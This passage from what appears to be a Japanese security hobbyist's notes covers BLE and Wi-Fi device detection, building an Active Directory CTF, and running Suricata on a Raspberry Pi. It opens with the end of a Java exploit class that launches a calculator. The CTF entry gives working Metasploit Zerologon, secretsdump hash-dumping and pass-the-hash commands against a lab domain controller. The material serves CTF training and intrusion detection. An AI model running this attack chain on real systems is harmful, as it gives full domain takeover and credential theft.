                    ? new String[]{"cmd.exe","/c", "calc.exe"}
                    : new String[]{"open","/System/Applications/Calculator.app"};
            java.lang.Runtime.getRuntime().exec(cmds).waitFor();
        }catch (Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] args) {
        Exploit e = new Exploit();
    }
}

Wifi,BLEを用いた端末通信について

人、モノの検知をするためにWifiおよびBLE(Bluetooth Low Energy)を活用する方法を調査した。
・Wifi
 WifiクライアントはAPに接続していなくともプローブ要求(probe reauest)を実施しており、この通信を補足することでWifi端末の存在を知ることができる。ただし、iphoneなどはWifi通信のMACアドレスのランダマイズ化を行うなどして端末の特定を困難にしている。

・BLE
 BLE端末の存在を知るには2つの方法がある。
 1つ目はBluetoothスレーブ(ペリフェラル機器)からマスター(セントラル機器)へのアドバタイズを受信してBLE端末の存在を知る方法である。
 2つ目はマスターからのScanリクエストを行い、スレーブからレスポンスを受信する方法。
 Wifiと同じく、iphoneはBluetoothのアドレスもランダマイズ化する。
 
 Pythonライブラリであるbleakを用いてScanリクエストのサンプルを以下に示す。
 ※参考サイト
 https://atatat.hatenablog.com/entry/2020/07/09/003000#3-Bleak%E3%81%AE%E5%88%A9%E7%94%A8

1.Bleakのインストール
 pip install bleak

2.サンプルコードの実行
 discover関数(以下のサンプルをble.pyとして保存)

import asyncio
from bleak import discover

async def run():
    devices = await discover()
    for d in devices:
     print(d.address,d.name,d.rssi)

loop = asyncio.get_event_loop()
loop.run_until_complete(run())
プログラム実行結果。先頭がBluetoothアドレス、次がRSSI値。nameは取得できなかった。

上記プログラムを何回か実行するとわかるが、Bluetoothアドレスが変化することがわかる。

■Bluetoothビーコンについて
 BLEによる端末検知方法としてビーコンを用いる方法がある。ビーコンはBluetooth通信におけるアドバタイズを行うことでビーコンの存在を知らしめることができる。AppleはiBeaconというプロトコルを定義しており、この仕様に基づいてBluetooth機器からビーコンを発出することで検知可能となる。またLINE BeaconというものもありLINE Beacon受信が有効になっているスマホ等で受信するとLINE Botと連携して所定の動作を行うことができる。

■マイコンを使ったLINE Beacon作成について
 以下サイトが参考になる。
 https://zenn.dev/n0bisuke/articles/e2e400dda8e6eb7b1e9f

■アイデア
・BLEペリフェラル機器としてM5stickなどをiBeaconもしくはLINE Beacon発信装置とする。
・Raspberry piをBLEセントラル機器としてBeacon信号を受信
※参考URL:https://tomosoft.jp/design/?p=42548
・受信したビーコンのUUIDや距離(RSSI値)によりアクションを決定
・LINE Botと連携する場合はLINE Beaconにする必要がある。LINE Botと連携するWebhookについてはngrokを使うと簡単に試験ができそう。(https://ngrok.com/)

Attack to ActiveDirectory for CTF

ActiveDirectory(Windows Server 2016)への認証攻撃を行う。

■シナリオ1
・内部のマシンからADに対して大量の認証要求がセキュリティログに発見された。
・そのうちのあるアカウントで認証が成功している。そのアカウントは何かを問う。

■シナリオ2
・脆弱性を突いた攻撃によりADにログインされた。攻撃を受けた時間のパケットキャプチャファイルを用意し、どのような攻撃で認証が成功したかを問う。

■準備
1.ADの構築
  Windows Server 2016にADをインストール
  ユーザとしては、test1、test2ユーザを作成する。

2.別のマシンからの大量のログイン要求を実施(失敗、成功するログ)
  Windows10マシンから下記のPowerShellで大量のログオン要求を実施。

  (new-object directoryservices.directoryentry “LDAP://10.0.2.15″,”west-sec\test1″,”password”).psbase.name -ne $null

3.MetasploitからADへZerologon攻撃を実施
  UbuntuにMetasploitとImpacketをインストールしZerologon攻撃を実施する。
  その際に、攻撃パケットをキャプチャしておく。

metasploitで対象のサーバのドメイン名、NETBIOS情報を取得する。
$msfconsole
> use auxiliary/scanner/netbios/nbname
> set RHOSTS 10.0.2.15
> set THREADS 1
> exploit

次に得られた情報でZerologon攻撃を行い、ADのマシンアカウントのパスワードをemptyに設定する。
> use auxiliary/admin/dcerpc/cve_2020_1472_zerologon
> set RHOSTS 10.0.2.15
> set NBNAME WIN-XXXXXXXXXXX
> exploit

マシンアカウントのパスワードがemptyに設定できたので、この情報でAdministratorのパスワードをImpacketを使って入手する。
$ cd $HOME/.local/bin
$ python3 secretsdump.py -just-dc DomainName/WIN-XXXXXXXXXXX\$@10.0.2.15 -no-pass

入手したハッシュ値と用いAdministratorとしてログオンする。
$ python3 wmiexec.py DomainName/Administrator@10.0.2.15 -hashes XXXXX~

■問題例
 ある会社のADにしかない情報が盗まれた。ADにログインされ情報を取得された可能性ある。
以下の問題に答えよ。 

1.ADに記録されたイベントログ(セキュリティ)から認証が成功した時間とアカウント名を答えよ。
2.意図しない時間に管理者権限のログイン履歴があった。認証が成功した時間におけるADへの通信ログ(パケットキャプチャ)がある。このログからどのような攻撃を受けて認証が成功したかを答えよ。回答は攻撃名もしくはCVE番号でもよい。
※解き方のヒント:SuricataなどのIDSでパケットを分析させる。

suricataの「-r」オプションでpcapファイルを読み込む

Raspberry pi with Suricata

Raspberry pi 4B 8GBにSuricata(6.0.3)をインストールする。

■Suricataインストール
1.必要なパッケージのインストール
 sudo apt install libpcre3 libpcre3-dbg libpcre3-dev build-essential libpcap-dev libyaml-0-2 libyaml-dev pkg-config zlib1g zlib1g-dev make libmagic-dev libjansson-dev rustc cargo python-yaml python3-yaml liblua5.1-dev
2.Suricataのダウンロードと解凍
 wget https://www.openinfosecfoundation.org/download/suricata-6.0.3.tar.gz
 tar -xvf suricata-6.0.3.tar.gz suricata-6.0.3
3.Suricataインストール
 cd suricata-6.0.3/
 ./configure –prefix=/usr –sysconfdir=/etc –localstatedir=/var –enable-nfqueue –enable-lua
 make
 sudo make install
 cd suricata-update/
 sudo python setup.py build
 sudo python setup.py install
 cd ..
 sudo make install-full
 sudo suricata-update
4.Suricata環境変数の設定
 sudo vi /etc/suricata/suricata.yaml

■Suricataのルール追加
sudo vi /var/lib/suricata/rules/suricata/rules
最終行に以下を追加
 alert icmp $HOME_NET any -> any any (msg:”ICMP Packet found”; sid:1; rev:1; )

■Suricata起動
sudo suricata -c /etc/suricata/suricata.yaml -i wlan0 -S /var/lib/suricata/rules/suricata.rules

■Suricataログの確認
sudo tail -f /var/log/suricata/fast.log

■iperfでの負荷試験
1.iperfを下記サイトからダウンロード
  https://iperf.fr/iperf-download.php
2.ダウンロードしたファイルを解凍しコマンドプロンプトで解凍したフォルダに移動
3.iperfサーバ側の起動
  iperf3 -s
4.iperfクライアント側の起動(サーバ側のIPが192.168.0.1の場合)
  iperf3 -c 192.168.0.1
5.指定した帯域幅のUDPトラヒック(10M)を指定した時間(30秒)送信する場合
  サーバ側:iperf -s -u
  クライアント側:iperf -c 192.168.0.1 -u -b 10000000 -t 30

★Raspberry pi にインストールしたSuricataがどれくらいのトラヒックまで攻撃を検知可能か試験する。

■攻撃を検知した場合にラズパイに接続したLCDで表示するPythonプログラム
 ラズパイとLCDをI2C通信で接続する。Pythonでfast.logの最終行を3秒毎に読みに行き表示するプログラム

1.I2Cシリアルインターフェースとラズパイの接続
  I2CのGNDとラズパイのGND
  I2CのVCCとラズパイの5V
  I2CのSDAとラズパイのSDA
  I2CのSCLとラズパイのSCL
  を接続する。

 2.LCD表示するPythonプログラムの実行
  以下のプログラムはSuricataのfast.logを3秒毎に読み、新しい攻撃を検知した場合にLCDに表示するプログラム。

import smbus
import time

import subprocess

I2C_ADDR  = 0x27 # I2C address
LCD_WIDTH = 16
LCD_CHR = 1
LCD_CMD = 0
LCD_LINE_1 = 0x80
LCD_LINE_2 = 0xC0
LCD_BACKLIGHT  = 0x08

bus = smbus.SMBus(1)

def init_display():
  send_byte_to_data_pin(0x33,LCD_CMD)
  send_byte_to_data_pin(0x32,LCD_CMD)
  send_byte_to_data_pin(0x06,LCD_CMD)
  send_byte_to_data_pin(0x0C,LCD_CMD)
  send_byte_to_data_pin(0x28,LCD_CMD)
  send_byte_to_data_pin(0x01,LCD_CMD)
  time.sleep(0.0005)
  
def send_byte_to_data_pin(bits, mode):
  upper_bits = mode | (bits & 0xF0) | LCD_BACKLIGHT
  lower_bits = mode | ((bits<<4) & 0xF0) | LCD_BACKLIGHT
  bus.write_byte(I2C_ADDR, upper_bits)
  enable_toggle_button(upper_bits)
  bus.write_byte(I2C_ADDR, lower_bits)
  enable_toggle_button(lower_bits)

def enable_toggle_button(bits):
  time.sleep(0.0005)
  bus.write_byte(I2C_ADDR, (bits | 0b00000100))
  time.sleep(0.0005)
  bus.write_byte(I2C_ADDR,(bits & ~0b00000100))
  time.sleep(0.0005)

def send_string_to_display(message,line):
  message = message.ljust(LCD_WIDTH," ")
  send_byte_to_data_pin(line, LCD_CMD)
  for i in range(LCD_WIDTH):
    send_byte_to_data_pin(ord(message[i]),LCD_CHR)

def main():

    #init_display()
   before_attack=""
   attack=""
   
 while True:
     init_display()
     attack = subprocess.check_output('sudo tail -n 1 /var/log/suricata/fast.log',shell=True)
     
     if attack!=before_attack:
      print(attack)
      send_string_to_display(attack[0:16] , LCD_LINE_1)
      send_string_to_display(attack[16:32] , LCD_LINE_2)
      before_attack=attack
     else:
      send_string_to_display("No Attack", LCD_LINE_1)
      send_string_to_display("", LCD_LINE_2)

     time.sleep(3)

try:        
  main()
except Exception:
  pass
finally:
  LCD_BACKLIGHT = 0x00
  send_byte_to_data_pin(0x01, LCD_CMD)

■Pcapファイルの読み込みについて
 -rオプションでpcapファイルの読み込みができる。注意する点はAlertが記録されるfast.logの場所である。rでpcapを読み込む場合、fast.logは指定しない限り、suricataコマンドを実行したディレクトリに作成される。また、pcapファイルを読み込んだ際に大量の「invalid checksum」が表示される場合がある。この場合、checksumを無効にしないとパケットの検査がこれ以上行われず、想定したAlertが出ない。checksumを無効化するにはsuricata.yamlの「checksum-valitation」をnoに変更する必要がある。

suricataで取得したpcapファイルを検査するコマンド例
> sudo suricata -c /etc/suricata/suricata.yaml -S /var/lib/suricata/rules/suricata.rules -r attack.pcapng